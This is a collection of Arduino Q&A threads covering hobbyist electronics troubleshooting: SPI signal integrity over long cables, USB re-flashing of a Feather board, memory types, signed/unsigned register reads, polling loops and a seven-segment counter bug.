message:
Long Distance Shift Register

I am using a Mega to control some relay boards. I have a 16 relay board near the mega, and I want to put an 8 relay board about 40 ft. away. So I figured I could use a shift register - instead of running 9 wires (8 relays and gnd) I could just run 4 (gnd, latch, clock, and data). I had some cat5e cable so I ran that from the Mega to the shift register. (I have an external 5V power supply so that does not come from the mega).

Problem is that is works, but inconsistently. I wrote a test program to turn on the relays in sequence. Sometimes it goes in order as it should but other times it skips relays or goes out of order.

I think there might be 4 sources of the problem:

1  The cat5e cable is too thin. Would a bigger wire help? Will twisting one pair together and using it like it was one wire help?

2 The shift_out code timing is off. I tried inserting some `delay` statments and that seemed to help a little. But I'm not sure where to insert them.

     void shift_out() {
         DigitalWrite(latch_pin, LOW);
         for (i = 0; i < 8; i++)  {
             DigitalWrite(data_pin, !!(bits & (1 << i)));
             DigitalWrite(clock_pin, HIGH);
             DigitalWrite(clock_pin, LOW);
         }
         DigitalWrite(latch_pin, HIGH);
     }

`DigitalWrite` is my own function that manipulates the PORTn bits instead of using Arduino's `digitalWrite()`.

3 The shift register is very close to some 110V wires. Maybe interference?

4 The 5V power supply isn't powerful enough to power the relay board and the shift register?

Any suggestions welcome.

Edit: here's a pic of what I've built. The Cat5 cable runs directly back to the Arduino.
[![enter image description here][1]][1]

  [1]: https://i.stack.imgur.com/Zr8xu.jpg

body:
SPI is supposed to be used for things in close proximity to each other. See [Wikipedia - Serial Peripheral Interface Bus](https://en.wikipedia.org/wiki/Serial_Peripheral_Interface_Bus).

> The Serial Peripheral Interface (SPI) bus is a synchronous serial communication interface specification used for *short distance communication*, primarily in embedded systems.

(My emphasis).

At that distance, and at standard SPI speeds you are probably losing signal integrity. The default SPI speed is system clock divided by 4 (that is, 4 MHz). It's not surprising some bits go missing after 40 feet.

See [my page about SPI](http://www.gammon.com.au/spi) - you can use SPI to transfer to a 595 register (as described [here](http://www.gammon.com.au/forum/?id=11518)).

*(I'm assuming you are talking about a 74HC595 shift register)*

I suggest running at a somewhat lower speed - insert delays after toggling the clock pin (each way). Or use the SPI hardware at (say) `SPI_CLOCK_DIV128`.

---

>  The shift register is very close to some 110V wires. Maybe interference

You might also want to look at a balanced line driver (eg. RS485) - I have a [page describing that](http://www.gammon.com.au/forum/?id=11428).

---

> The 5V power supply isn't powerful enough to power the relay board and the shift register?

The register won't take much power. I trust the relays are solid-state ones and not coils that you are directly driving from the 595 chip?

---

Also see <https://arduino.stackexchange.com/questions/16348/how-do-you-use-spi-on-an-arduino>


sender: user

sender: assistant

body: If nothing else works, consider a RS485 link. Nick Gammons forum has a useful and in depth tutorial on the subject. There is a bit of a hardware penalty - an additional Arduino or some other avr and a couple of RS485 driver chips, which is why I council "if nothing else works" in this case.


body:
A good debugging tool in this case is a logic analyzer. It could help understand the timing characteristics for your code (and wiring).

    void shift_out() {
         DigitalWrite(latch_pin, LOW);
         for (i = 0; i < 8; i++)  {
             DigitalWrite(data_pin, !!(bits & (1 << i)));
             DigitalWrite(clock_pin, HIGH);
             DigitalWrite(clock_pin, LOW);
         }
         DigitalWrite(latch_pin, HIGH);
     }

For instance, how long is the clock pulse? Does the data signal raise/fall correctly before the clock signal? What is the clock pulse frequency? How is it affected by the RC factor of the wiring.

Given that the signals are within limits you can add micro-second delays to compensate for propagation.

    void shift_out() {
         DigitalWrite(latch_pin, LOW);
         for (i = 0; i < 8; i++)  {
             DigitalWrite(data_pin, (bits & (1 << i)));
             delayMicroseconds(T1);
             DigitalWrite(clock_pin, HIGH);
             delayMicroseconds(T2);
             DigitalWrite(clock_pin, LOW);
         }
         DigitalWrite(latch_pin, HIGH);
     }

Cheers!


message:
Is there any way to control current precisely with Arduino without using a DC-DC converter?

I have a circuit that consists of a torquer. Its torque is directly proportional to the current in the circuit. I want to precisely control the torque provided by the torquer and hence need to control the current in the circuit. Which is the best technique you would prefer using Arduino?

body:
The Arduino (like other microcontrollers) is a digital device. It doesn't "control current" on its own. It has outputs which can either be off or on. Off is 0V and on is 5V (assuming you are powering it from a 5V supply). The continuous current you can drawn from output pins is 20 mA.

You can use PWM to effectively reduce the power output (for example, a 50% duty cycle would be half on and half off, thus you would have 50% power).

If you drive your torquer from some sort of transistor (eg. a MOSFET) then PWM could conceivably achieve what you are wanting to do. A link to this device would be helpful. Plus, the other circuitry you have in mind.


message:
Feather32u4 device not accepting address 5, error -71

I'm using a Feather 32u4 bluetooth device connected

to a AM2302 temperature sensor via I/O pin
to my Linux PC via USB

Everything was working fine, uploading the code to the micro via Artuino IDE and reading the temperature on the Rapsberry PI connected via bluetooth to the Feather 32u4, until I decided to use the Raspberry PI3 to provide power feeding to the Feather (via USB).
After that attempt, I tried again to connect the Feather 32u4 to the Linux PC, but I've neve been able to do that. Everywhen I connect the Feather to the USB port of the PC it is not shown in the available serial ports of Arduino IDE and the dmesg is

    [  358.028022] usb 8-2: new full-speed USB device number 6 using uhci_hcd
    [  358.148026] usb 8-2: device descriptor read/64, error -71
    [  358.372024] usb 8-2: device descriptor read/64, error -71
    [  358.588029] usb 8-2: new full-speed USB device number 7 using uhci_hcd
    [  358.708024] usb 8-2: device descriptor read/64, error -71
    [  358.932024] usb 8-2: device descriptor read/64, error -71
    [  359.148028] usb 8-2: new full-speed USB device number 8 using uhci_hcd
    [  359.556026] usb 8-2: device not accepting address 8, error -71
    [  359.668028] usb 8-2: new full-speed USB device number 9 using uhci_hcd
    [  360.076038] usb 8-2: device not accepting address 9, error -71
    [  360.076056] usb usb8-port2: unable to enumerate USB device

Is it possible that using the Rapsbery PI3 providing power feeding to the Feather destroyed its USB port? Why?

When I reset the Feather (using the reset button) the following is the dmesg

    [53215.808027] usb 3-1: new full-speed USB device number 10 using uhci_hcd
    [53215.993042] usb 3-1: New USB device found, idVendor=239a, idProduct=000c
    [53215.993046] usb 3-1: New USB device strings: Mfr=2, Product=1, SerialNumber=0
    [53215.993049] usb 3-1: Product: Adafruit Feather
    [53215.993051] usb 3-1: Manufacturer: Adafruit In
    [53216.072814] cdc_acm 3-1:1.0: ttyACM0: USB ACM device
    [53216.074154] usbcore: registered new interface driver cdc_acm
    [53216.074157] cdc_acm: USB Abstract Control Model driver for USB modems and ISDN adapters
    [53225.664064] usb 3-1: USB disconnect, device number 10
    [53225.904030] usb 3-1: new full-speed USB device number 11 using uhci_hcd
    [53226.024024] usb 3-1: device descriptor read/64, error -71
    [53226.248024] usb 3-1: device descriptor read/64, error -71
    [53226.464024] usb 3-1: new full-speed USB device number 12 using uhci_hcd
    [53226.584023] usb 3-1: device descriptor read/64, error -71
    [53226.808022] usb 3-1: device descriptor read/64, error -71
    [53227.024030] usb 3-1: new full-speed USB device number 13 using uhci_hcd
    [53227.432025] usb 3-1: device not accepting address 13, error -71
    [53227.544024] usb 3-1: new full-speed USB device number 14 using uhci_hcd
    [53227.952021] usb 3-1: device not accepting address 14, error -71
    [53227.952040] usb usb3-port1: unable to enumerate USB device

---------------
NEW EDIT
---------------

I tried the suggestion from @Majenko and the result is the following

    Sketch uses 19,712 bytes (68%) of program storage space. Maximum is 28,672 bytes.
    Global variables use 730 bytes of dynamic memory.
    Forcing reset using 1200bps open/close on port /dev/ttyACM0
    PORTS {/dev/ttyACM0, /dev/ttyS0, /dev/ttyS4, } / {/dev/ttyACM0, /dev/ttyS0, /dev/ttyS4, } => {}

    <... a long list of similar PORTS rows>

    Uploading using selected port: /dev/ttyACM0
    /home/storassa/work/Arduino/hardware/tools/avr/bin/avrdude -C/home/storassa/work/Arduino/hardware/tools/avr/etc/avrdude.conf -v -patmega32u4 -cavr109 -P/dev/ttyACM0 -b57600 -D -Uflash:w:/tmp/build133016433f76cdf39b8ff61da42c5037.tmp/Antoz.ino.hex:i

    avrdude: Version 6.0.1, compiled on Apr 14 2015 at 19:04:16
             Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
             Copyright (c) 2007-2009 Joerg Wunsch

             System wide configuration file is "/home/storassa/work/Arduino/hardware/tools/avr/etc/avrdude.conf"
             User configuration file is "/home/storassa/.avrduderc"
             User configuration file does not exist or is not a regular file, skipping

             Using Port                    : /dev/ttyACM0
             Using Programmer              : avr109
             Overriding Baud Rate          : 57600
    avrdude: ser_open(): can't open device "/dev/ttyACM0": No such file or directory
    avrdude: ser_send(): write error: Bad file descriptor
    Problem uploading to board.  See http://www.arduino.cc/en/Guide/Troubleshooting#upload for suggestions.

I also tried with a

    chmod 777 ttyACM0

with the same result

----------------------
LAST EDIT
----------------------
I tried again multiple times and eventually I was able to upload the sketch. Everything works fine now

body:
The sketch on your Feather has no CDC/ACM interface - either because it was disabled in your code, or because the sketch has become corrupted somehow.

You need to re-flash the feather with a new sketch - but that's not going to be easy with no CDC/ACM device to access to start programming - except that you do for a short time.

You need to press reset and then upload in the few seconds you get while the CDC/ACM device is available:

    \/\/\/ Reset pressed and bootloader entered \/\/\/
    [53215.808027] usb 3-1: new full-speed USB device number 10 using uhci_hcd
    [53215.993042] usb 3-1: New USB device found, idVendor=239a, idProduct=000c
    [53215.993046] usb 3-1: New USB device strings: Mfr=2, Product=1, SerialNumber=0
    [53215.993049] usb 3-1: Product: Adafruit Feather
    [53215.993051] usb 3-1: Manufacturer: Adafruit In
    [53216.072814] cdc_acm 3-1:1.0: ttyACM0: USB ACM device
    [53216.074154] usbcore: registered new interface driver cdc_acm
    [53216.074157] cdc_acm: USB Abstract Control Model driver for USB modems and ISDN adapters
    *** UPLOAD RIGHT NOW!!! ***
    *** You get about 9 seconds, because... ***
    \/\/\/ Bootloader times out and your corrupt sketch runs \/\/\/
    [53225.664064] usb 3-1: USB disconnect, device number 10


message:
Store data in flash/EEPROM and process it in parallel

I want to store incoming data in flash or EEPROM and then apply FFT or some other method to detect frequency and intensity.

I am taking sound through microphone amplifying it with an LM741 and giving this amplified signal as input to an Arduino and then processing it at the same time.

But the problem is that the time taken in running the code is interfering with the sampling rate. I want to store say 50 inputs in flash and then process these 50 numbers, while at the same time the next set of 50 numbers is being stored, so that I can have data stored at a constant sampling rate.

Also how can I store data continuously? Because if I do this in `loop()` won't it again have time lag due to rest of the code?

I am new to Arduino, so please give details or some link to help me understand.

Thanks.

body:
A common method of overlapping data input with data processing uses [double (or multiple) buffering](https://en.wikipedia.org/wiki/Multiple_buffering#Double_buffering).  For example, one of two buffers is processed in the foreground (that is, in the `loop()` routine) while another buffer is filled in background (via interrupt handlers).  Each time a buffer fills, the usage of the two buffers swaps: that which was being processed now refills, while the recently-filled buffer gets processed.  To make this work, buffer processing must take less time than buffer filling.

For recording conversion times, because free-running ADC conversions each take the same amount of time, you can just save fill-start and fill-end times with each buffer, and interpolate to find out reading times.

If you plan to process audio data at near-normal speeds, it's likely most Arduinos won't be fast enough to keep up.  However, using an Arduino Due probably is feasible.  The Due is based on an [ARM Cortex M3 processor](https://en.wikipedia.org/wiki/ARM_Cortex-M#Cortex-M3) with 72 MHz operating frequency, 32-bit arithmetic, large RAM (for an Arduino), etc.

An alternative method of processing audio data is to use a frequency analysis chip.   Here is a low-end example:  The MSGEQ7 Graphic Equalizer Display Filter is about $5 in an [8-pin DIP package from sparkfun.com](https://www.sparkfun.com/products/10468).  Apparently, it continuously measures peak spectral intensity in each of seven frequency bands, and can read the peaks out perhaps a thousand times per second.  Audio goes in on the "Audio in" pin.  A Reset pin resets an output-multiplexor counter to zero.  Each time after you clock a strobe line, a band's reading is presented as an analog voltage on a "DC out" output line; the band's peak reading is decayed about 10%; and the multiplexor advances one band upward in frequency, rolling over from highest to lowest every seven strobes.


body:
> What I want to do is store incoming data from in flash or eeprom

No, for your application you absolutely do not want to do that. You want to use RAM instead.

The Arduino has three kinds of memory:

1. Bytes in RAM (also called SRAM) can be written an unlimited times and written very quickly. RAM is designed for short-term storage of information while a sketch is running. The contents vanish when the Arduino is turned off, but this isn't a problem for you unless you need to process previously read information later on after the Arduino is turned back on. An Arduino Uno has 2048 bytes of RAM and all your C/C++ variables must fit in that.

2. An EEPROM byte can be written around 100,000 times; writing it is much, much slower than writing a RAM location. This makes it very bad for doing intensive processing, as opposed to, e.g., just storing configuration variables that are rarely read. EEPROM is designed for storage of information across power cycles of the microcontroller; unlike RAM, previously written data are still there to be read when the Arduino is powered on. An Arduino Uno has 1024 bytes of EEPROM; this is only used when your code or library code explicitly requests data be written to or read from it.

3. Each block of flash memory can be written around 10,000 times; writing it is much slower than RAM, though it can be read very quickly. Flash storage is designed for storing programs, not data; it's the memory from which instructions are read, though you can with care [store "constant" data in it too](https://www.arduino.cc/en/Reference/PROGMEM). It's only changed when you upload a sketch via USB.* An Arduino Uno has 32768 bytes of Flash memory and your program and any constants you store in Flash must fit in it.

\* Not technically true, but if you know how to use Flash for runtime data storage, this answer isn't providing you any useful information. :-)


message:
Problem with uploading LUFA MassStorage .hex file to Leonardo

I have been trying to make my Leonardo board to work as a USB device. So I started with compiling the open source LUFA USB library demo "MassStorage" for the Leonardo board settings. Since I'm using Mac OS, I downloaded the "AVR Tools" software to upload the hex file to the board(I didn't want to use the ISP protocol to flash. Because it is not possible to remove the chip from the board to make the correct ISP circuit connection). Anyway I was managed to flash the board. But afterwards it is not detectable by the computer. The serial port is not detectable. This proves it flashed something. Afterwards I flashed it again with the original bootloader file and it was identified as before. I'm a beginner to Arduino programming and forgive me if I'm asking elementary question. What am I doing wrong?

body:
Cannot say for sure, but if you was able to flash something, then loose functionality, but was still able to flash it back, then there is possibility, that you flashed the application part (with would-be-bootloder code), not the bootloader part (and the old bootloder in bootloader part then enabled you to flash back something sensibe).

bootloader is resposible for saving application in memory in process of flashing and running the application after that, or in case you just connect the board and do not start flashing it just after (maybe software/transmit) reset.

if you save bootloader to application part of memory, it is highly possible, that it would not do anything good, as the original bootloader would still run first and setup your board and the application (with new bootloader code) would try something futile (and maybe have bad addresses already, as it is suppose to be runned in bootloader place, not in application).

There are two parts of flash memory in arduino - one for application, other for bootloader and they have different use, even if they are just different parts of one big flash area. So make sure, what you actually updated and how was the hex compiled (for which address)


message:
Creating variable inside if statement (conditional signed vs unsigned int)

I have an SPI chip that I would like to read out with an Arduino. Some of the registers are `signed int` others are `unsigned int`. I am writing a function to read any register.

A simplified version:
<!-- language: c -->

    readRegister(byte thisRegister, char type) {

      if(type == 's'){
        signed int result;
      }else{
        unsigned int result;
      }

      // take the chip select low to select the device:
      SPI.beginTransaction(SPISettings(2500000, MSBFIRST, SPI_MODE3));
      digitalWrite(SlaveSelectPin, LOW);

      //now get the value
      result = SPI.transfer16(thisRegister);

      // finish up
      digitalWrite(SlaveSelectPin, HIGH);
      SPI.endTransaction();

      // return the result:
      return (result);
    }

    readRegister(0x4B87,'s')  //read signed int register
    readRegister(0xB357,'u')  //read unsigned int register
However this doesn't work since the variable `result` is created inside the if statement so the scope is wrong. I get `error: 'result' was not declared in this scope` on the `SPI.transfer()` line.

How to solve this?

body:
You could try something like this:

    int16_t readRegister(byte thisRegister) {
      int16_t result;

      // take the chip select low to select the device:
      SPI.beginTransaction(SPISettings(2500000, MSBFIRST, SPI_MODE3));
      digitalWrite(SlaveSelectPin, LOW);

      //now get the value
      result = SPI.transfer16(thisRegister);

      // finish up
      digitalWrite(SlaveSelectPin, HIGH);
      SPI.endTransaction();

      // return the result:
      return (result);
    }

    uint16_t readUnsignedRegister(byte theRegister) {
      return (uint16_t) readRegister(theRegister);
    }

Another alternative is to define a "universal" data type, i.e. a union and necessary cast operators.

    union univ16_t {
      uint16_t as_uint16;
      int16_t as_int16;

      univ16_t(int value)
      {
        as_int16 = value;
      }

      operator uint16_t()
      {
        return (as_uint16);
      }

      operator int16_t()
      {
        return (as_int16);
      }
    };

This allows the function to have the following form:

    univ16_t readRegister(byte thisRegister) {
      int result;

      // take the chip select low to select the device:
      SPI.beginTransaction(SPISettings(2500000, MSBFIRST, SPI_MODE3));
      digitalWrite(SlaveSelectPin, LOW);

      //now get the value
      result = SPI.transfer16(thisRegister);

      // finish up
      digitalWrite(SlaveSelectPin, HIGH);
      SPI.endTransaction();

      // return the result:
      return (result);
    }

With the two possible assignments.

    uint16_t reg1 = readRegister(...);
    int16_t reg2 = readRegister(...);

Cheers!


body:
Based on the comments by Gerben and JRoberts, this is the answer I distilled (correct me if I misunderstood):

Since you need to define a return type of the function anyway, you cannot have a function returning one of two datatypes based on the input.

**So there are basically four approaches:**

 1. Write two seperate functions
 2. Have only one function and use datatype casting on the result
 3. Combination of the above, where the second function is only a wrapper for the first function but with datatype casting.
 4. Return both `unsigned int` and `signed int` register values as a `signed long`

**Some extra info:**

**2.**
When you cast between signed and unsigned of the same size, you are not changing the bits, you are just changing the way they are being interpreted. So that would work perfectly.

    my_signed_register = (signed int)readUnsignedRegister(0x4B87)
    my_unsigned_register = readUnsignedRegister(0xB357)

**3.**
 The same thing can be done in a function:

    signed int readSignedRegister(byte theRegister) {
      return (signed int) readUnsignedRegister(theRegister);
    }
(Also see the answer of Mikael Patel)

**4.**
If you want to use one function only, you could set the return type of the function to `signed long`. Because to represent both signed and unsigned ints you need `signed long`. You then read in the bits from the `SPI.transfer` in signed (or unsigned, whatever you like) and then change to `signed long` based on the type given in the function call `'s'` or `'u'`.


body:
Signed ints are capable of being stored in unsigned int, but unsigned its are not [technically] capable of being stored in signed ints if the compiler is being pedantic.  This is because an unsigned int can store a number between 0 and 0xFFFF where as a signed int can store numbers between -(0x7FFF) and 0x7FFF
So if you have a compiler that is doing type checking then you will get problems if you cast an unsigned int to an int, because you *might* loose data.

That said an unsigned in, int, char, long, float or double is just a series of sequential bits held in memory, so if you know what you are doing you can convert a char into an unsigned long and back again.  Or you can go the whole hog and store all your variables as void*.

So to answer the question I think you function should be this:

    uint16_t readRegister(const byte theRegister);

If you want to read a value then you should just call:

    uint16_t reg1 = readRegister(0x4B87);
    int16_t  reg2 = static_cast<int16>(readRegister(0xB357));

If you really want a separate function then you might be better just #defining it.

    #define readSignedRegister(r) {static_cast<int16>(readRegister(r))}
    // And you would call it like this.
    int16_t  reg2 = readSignedRegister(0xB357);

EDIT to correct the type typo and remove word aligned.


body:
One final option that isn't mentioned in any of the above solutions - Create a function that returns both as separate parameters.<br>
I'm not sure why you would ever do this over Mikael Patel's solution, yes it's then a single function but it's not as nice to use. But it is a possible option.

The only possible advantage in using this pass by reference method of returning the value is that it allows the option for the read function to return a flag indicating whether the read failed or not (timeout, invalid address etc...). And even then it would still be more logical to have two functions, one for signed and one for unsigned.

    void readRegister(byte thisRegister, int16_t *signedValue, uint16_t *unsignedValue) {

      unsigned int result_u;

      // take the chip select low to select the device:
      SPI.beginTransaction(SPISettings(2500000, MSBFIRST, SPI_MODE3));
      digitalWrite(SlaveSelectPin, LOW);

      //now get the value
      result_u = SPI.transfer16(thisRegister);

      // finish up
      digitalWrite(SlaveSelectPin, HIGH);
      SPI.endTransaction();

      if (signedValue)
        *signedValue = (int16_t)result_u;
      if (unsignedValue)
        *signedValue = result_u;
    }

    void someOtherFunction() {
      uint16_t unsignedRead;
      int16_t signedRead;

      readRegister(0x4B87,&signedRead,NULL);  //read signed int register
      readRegister(0xB357,NULL,&unsignedRead); //read unsigned int register

      //read the register as both signed and unsigned (fairly pointless)
      readRegister(0xA55A,&signedRead,&unsignedRead);

      //read the register and throw the result away
      readRegister(0xA55A,NULL,NULL);
    }


message:
Hardware damage from executing tight polling loop over extended periods of time?

I want my project to be standing by at the ready for months and years at a time, so I started writing my code to throttle back from polling at delayMicroseconds  to just delay. Like, after 15 minutes with no user input, switch from 10 microsecond delay intervals to 10 millisecond (or even 10 second intervals). I wonder if spinning its wheels at warp speed for months on end will wear a path in the circuit pathways? This has got to be a stupid question (or at least make someone chuckle), but I'm really 50/50 at this point: worth the effort for the extra code or won't make a lick of difference? (I know there's my implementation and then there's the right one, but this is where I am right now. FYI, I went with 17 GPIO's in parallel to link my Pi to my teensyduino. add 17 optocouplers, hot glue, hinges, scavenged enclosures etc and this thing looks ridiculous.  But I LOVE IT! (It's a mouse that I control over the web)

EDIT
Although I didn't mention any concerns about using batteries, their mention didn't really detract from anything. Rather, I welcomed their inclusion because I realized that I had overlooked things more fundamental. I'm always telling others how important ventilation can be and the impact heat can have, but it went right by me this time!

I do value and appreciate the feedback I have gotten. I don't think I will be writing any code to vary polling speed after timing out. But I would still like if someone wanted to directly answer the specific concern I had when posting this question: "At certain times, my program waits for a GPIO pin to change states. I am using the polling method to determine the status of the pin, and I am using this bit of code to do so:

    do
    {

    } while (digitalRead(pin#) == 0); //wait for pin to go high

So, my question is, "Does it make any difference at all, in terms of wear & tear or stress placed on the CPU, how many loops I choose to make in one second? I'm considering something in the range 0.1Hz -> 100kHz  Assuming that I keep heat under control and other vital parameters within their nominal operating levels, is it true that the frequency I choose won't make a bit of difference, one way or another?"

Thanks in advance for any interest given to this question.

body:
For many applications within the realm of Arduino software & hardware development, the only practical concern is to limit the need to write to non-volatile types of memory.  Non-volatile types of memory, such as that which stores the Arduino program, do have a finite number of write cycles.  However, it is in the 10s (perhaps 100s) of thousands of writes.  So is not a concern to most developers.

Running code, however, does put a load on the processor's power source.  First we need to understand that a switch in a modern processor require only a minuscule amount of current if left alone.  But if asked to change from a 0 to a 1 or 1 to 0, the current spikes.  In processors pushed to their limits with 100s of thousands of switches, this extra current turns into heat which must be mitigated less damage is done.

Fortunately, most processors used in Arduinos are not pushed to their limits. So this is rarely a concern. To be clear, the processor chip used on most Arduinos will mostly likely not need a heat sink or fan.

However, even for an Arduino not pushed to its limits, this extra power demand is devastating to the long term life of portable battery operated devices.  Programming an Arduino to extend battery life is by no means a trivial task.  And certain processors (Arduinos can be made with many different processors) are orders of magnitude better at this then others. But, since most Arduino applications are powered from mains, this too is of little concern.


body:
There's nothing to save except battery charge (if your system even uses a battery). It will take just as much energy to delay() as it would to keep polling. The only way to save energy is to put the processor to sleep instead of delaying. And polling will be so brief that you might as well keep the sleep time short, too.

You probably don't need 10 uSec poll intervals; I should think your mouse would be plenty responsive with 1 mSec intervals. If polling takes, say, 100 uSec (and that's a total guess) and you sleep the processor for the other 900 uSec, you'll cut the energy use by 90%. If you don't need to save energy, it won't matter whether, or how long, you delay.

Update:

> "Does it make any difference at all, in terms of wear & tear or stress
> placed on the CPU, how many loops I choose to make in one second? I'm
> considering something in the range 0.1Hz -> 100kHz Assuming that I
> keep heat under control and other vital parameters within their
> nominal operating levels, is it true that the frequency I choose won't
> make a bit of difference, one way or another?"

Yes, it is true. Your CPU can run full speed continuously, safely. It won't overheat from continuous running. Only if some part of your project is trying to draw too much current through the CPU; then that will cause heating, but the CPU polling a bunch of inputs is _well_ within its specs.


message:
Environment Variable to change build

Is there a way to get the build to see an environment variable so that all the files can be built differently with one Environment variable change.  Such as

    #ifdef UseFirstDir
     #include <C:\MyFirstDir\ImportantIncludes.h>
    #else
     #include <C:\MySecondDir\ImportantIncludes.h>
    #endif

body:
Not environment, no.

If you have access to the compilation command line you can do the equivalent of `#define` from there:

    avr-gcc ... blah blah ... -DUseFirstDir

That is most effective if you are using a *Makefile* build system rather than relying on the Arduino IDE which doesn't give you access to those kind of things without modifying the core configuration, which isn't nice, and certainly is neither permanent nor flexible (doesn't survive upgrades to new versions, and isn't easy to turn on and off at will).

A better IDE, though, can do it. Facilities for setting control flags like that exist within [UECIDE](http://uecide.org) and it's possible to tie them to menu entries to make switching options on and off easier. It's not documented how to do it though (yet).

Or you can just have a list of `#define` options at the top of your sketch:

    /* Uncomment this to use the first directory. */
    // #define UseFirstDir

    // .... later ....

    #ifdef UseFirstDir
        #include <C:\MyFirstDir\ImportantIncludes.h>
    #else
        #include <C:\MySecondDir\ImportantIncludes.h>
    #endif


message:
Where do I put the cables from my soldered l293d onto the arduino uno/arduino pro mini? (Drone)

I am trying to create a drone but I am struggeling a bit with the components and the schematic. I have 4 small drone motors from hubsan x107 and i have soldered their wires on a l293d driver like this below:

[![enter image description here][1]][1]

  [1]: https://i.stack.imgur.com/ajZH4.png

As you can see i have also soldered jumper cables on the l293d as well and I now look to put them on the arduino uno or a arduino mini pro (i have both at home) but I am not sure where to put these cables in order to make this work. I have typed them out as you can see on the picture and named them: Jumper cable 1, 2, 3, 4, 5, 6, 7 and 8.

This is the hardware I use:

Motor: http://www.banggood.com/Hubsan-H107C-X4-RC-Quadcopter-Spare-Parts-Motor-H107-a23-p-87563.html

Arduino uno

L293D

Cables

Would a setup like this work if I put the jumper cables on the correct pins on the arduino? And if so where on the arduino do i need to connect each wire?

Thanks a lot!!

body:
<!-- Begin schematic: In order to preserve an editable schematic, please
     don't edit this section directly.
     Click the "edit" link below the image in the preview instead. -->

![schematic](https://i.stack.imgur.com/ncb5W.png)

<!-- End schematic -->

The battery needs to be the right voltage for your motors. There are no specifications on the page you linked to at all, so your job now is to find out what your motors are and what voltage they run from.


message:
While doesn't the loop terminate?

I have a have project of Up Down counter using Arduino with seven segments, in which when I continuously press the push button, the counter moves upward from 0 to 99. When I release the push button, the counter moves downwards from the previous value.

For example: I continuously press the button counter from 0 to 58, then when I release the button, the counter moves backward from 58 to 0.

The problem is that when I simulate the code in Proteus software, the counter starts from 99 because the button is not pressed. But when I press the button the counter moves upward not accurately.

Also the other big issue is that when the button is released, the counter does not move backwards although the counter moves upwards continuously and the button is not working (whether the button is pressed or not).

Here my code and Proteus simulator circuit image.

    int num_array_1[10][7] =
      { { 1,1,1,1,1,1,0 }, // 0
      { 0,1,1,0,0,0,0 }, // 1
      { 1,1,0,1,1,0,1 }, // 2
      { 1,1,1,1,0,0,1 }, // 3
      { 0,1,1,0,0,1,1 }, // 4
      { 1,0,1,1,0,1,1 }, // 5
      { 1,0,1,1,1,1,1 }, // 6
      { 1,1,1,0,0,0,0 }, // 7
      { 1,1,1,1,1,1,1 }, // 8
      { 1,1,1,0,0,1,1 }}; // 9
    int num_array_2[10][7] =
      { { 1,1,1,1,1,1,0 }, // 0
      { 0,1,1,0,0,0,0 }, // 1
      { 1,1,0,1,1,0,1 }, // 2
      { 1,1,1,1,0,0,1 }, // 3
      { 0,1,1,0,0,1,1 }, // 4
      { 1,0,1,1,0,1,1 }, // 5
      { 1,0,1,1,1,1,1 }, // 6
      { 1,1,1,0,0,0,0 }, // 7
      { 1,1,1,1,1,1,1 }, // 8
      { 1,1,1,0,0,1,1 }}; // 9

    const int button = 35;
    const int alarm = 50;

    //function header
    void Num_Write_1(int);
    void Num_Write_2(int);

    void setup() {
      // set pin modes for Display 1
      pinMode(22, OUTPUT);
      pinMode(23, OUTPUT);
      pinMode(24, OUTPUT);
      pinMode(25, OUTPUT);
      pinMode(26, OUTPUT);
      pinMode(27, OUTPUT);
      pinMode(28, OUTPUT);
      // set pin modes for Display 2
      pinMode(40, OUTPUT);
      pinMode(41, OUTPUT);
      pinMode(42, OUTPUT);
      pinMode(43, OUTPUT);
      pinMode(44, OUTPUT);
      pinMode(45, OUTPUT);
      pinMode(46, OUTPUT);
      // set pin for alarm indication
      pinMode(alarm,OUTPUT);
      // set pin for button input
      pinMode(button,INPUT);
      int i = 1;
      int j = 1;
      int counter_1 = 0; // for counter 1
      int counter_2 = 0; // for counter 2
    }

    void loop() {
      int counter_1; // for counter 1
      int counter_2; // for counter 2
      int button_state = digitalRead(button);
      // check the button state
      //counter loop
      if (button_state == HIGH) {
        // if button is pressed , counter moves Upward(0,1,2,3,....,99)
        boolean start = true;
        while (start) {
          // when button pressed , loop is continuously running
          if (counter_1 == 10) {
            // if counter 1 is value 10
            counter_1 = 0; // reset counter1 to 0
            counter_2 = counter_2 + 1; // counter2 is starting now
            Num_Write_1(counter_1); // display value of counter1
            Num_Write_2(counter_2); // display value of counter2
            button_state = digitalRead(button); // check the button state
            if (button_state == LOW) {
              // if low then condition of while is false
              // button is released, button_state is low
              start = !start; // toggle the while condition true to false
              // which terminate the while loop
            }
          } else {
            counter_1 = counter_1 + 1; // incr. 1 by 1
            Num_Write_1(counter_1); // display value of counter1
            delay(200);
          }
          button_state = digitalRead(button);
          // again check the button state
          // button is released, button_state is low
          while (button_state == LOW) {
            // if low then condition of while is false
            start = !start;
          }
        }
      } else {
        //if button is release , counter moves Downward(56,55,54,...,0)
        Num_Write_1(counter_1); // show previous values on both counters
        Num_Write_2(counter_2); // b/c decr. starts from incremented values
        boolean start = true;
        while (start) {
          // when button release , loop is continuously running
          if (counter_1 == 0) {
            //if counter 1 is value 0
            counter_1 = 9; // reset counter1 to 9
            counter_2 = counter_2 - 1; // counter2 is starting now
            Num_Write_1(counter_1); // display on counter1
            Num_Write_2(counter_2); // display on counter2
            button_state = digitalRead(button); // check the button state
            if (button_state == HIGH) {
              // if high then condition of while is false
              // button is pressed, button_state is high
              start = !start; //toggle the condition
            }
          } else {
            counter_1 = counter_1 - 1; // decr. 1 by 1
            Num_Write_1(counter_1); // display on counter1
            delay(200);
          }
          button_state = digitalRead(button); // again check the button_state
          // if button pressed , button_state goes high
          if (button_state == HIGH) {
            start = !start;
            // toggle the while condition true to false
            // which terminate the while loop
          }
        }
      }
    }
    // this functions writes values to the sev seg pins for counter1
    void Num_Write_1(int number) {
      int pin= 22;
      for (int j=0; j < 7; j++) {
        digitalWrite(pin, num_array_1[number][j]);
        pin++;
      }
    }
    // this functions writes values to the sev seg pins for counter2
    void Num_Write_2(int number) {
      int pin= 40;
      for (int j=0; j < 7; j++) {
        digitalWrite(pin, num_array_2[number][j]);
        pin++;
      }
    }

[![cirduit diagram of counter][1]][1]

If button pressed ----------> logic goes HIGH
If button release ----------> logic goes LOW

Please resolve my problem. I have tried for 2 weeks solving this problem but still I'm stuck. Any little advice will be important for me.

  [1]: https://i.stack.imgur.com/i3XqQ.png

body:
Your counter variables only have scope within the methods they are declared in.  So initializing them in the setup() method will have no effect in other methods.

Instead, declare these variables as global or at least with "file" scope as you did with your array variables.


body:
I'd throw that code away and start over from scratch; it's overly verbose and needlessly repetitious, which may account for the kinds of errors you are seeing.

